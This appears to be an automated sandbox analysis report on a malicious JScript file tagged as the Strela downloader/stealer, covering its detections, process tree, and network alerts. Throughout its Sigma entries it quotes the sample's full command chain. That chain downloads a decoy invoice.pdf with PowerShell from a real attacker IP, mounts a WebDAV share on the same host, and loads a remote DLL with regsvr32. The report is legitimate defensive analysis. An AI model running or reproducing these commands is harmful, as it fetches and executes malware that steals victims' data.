Edit tour

Windows Analysis Report
2012713416258531948.js

Overview

General Information

Sample name:	2012713416258531948.js
Analysis ID:	1587415
MD5:	05cf61dc6eb4455a8a45293a771fdf5e
SHA1:	eb1f46917c2c564c79a90f37f1dbfe7c54e3da61
SHA256:	a2e7ac3901f5a974f66d12600a41239ca5040bb12c0c60969f12a36f2d3bc7e1
Tags:	jsStrelaStealeruser-abuse_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6024 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2012713416258531948.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2076 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5160 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6664 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2520 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 764 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1552,i,2276911881699743365,15291556214876506569,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5780 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 4564 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 320 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6024	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2076, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5160, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2076, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5160, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2012713416258531948.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2012713416258531948.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2012713416258531948.js", ProcessId: 6024, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 4564, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2012713416258531948.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6024, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, ProcessId: 2076, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2012713416258531948.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6024, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, ProcessId: 2076, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2012713416258531948.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6024, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, ProcessId: 2076, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2012713416258531948.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6024, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, ProcessId: 2076, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2012713416258531948.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6024, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, ProcessId: 2076, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2012713416258531948.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2012713416258531948.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2012713416258531948.js", ProcessId: 6024, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2076, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5160, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5780, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4564, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 320, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5780, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 4564, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2012713416258531948.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6024, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26851740028415.dll, ProcessId: 2076, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T11:07:05.331990+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T11:07:02.820543+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2012713416258531948.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2012713416258531948.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 10:07:02 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

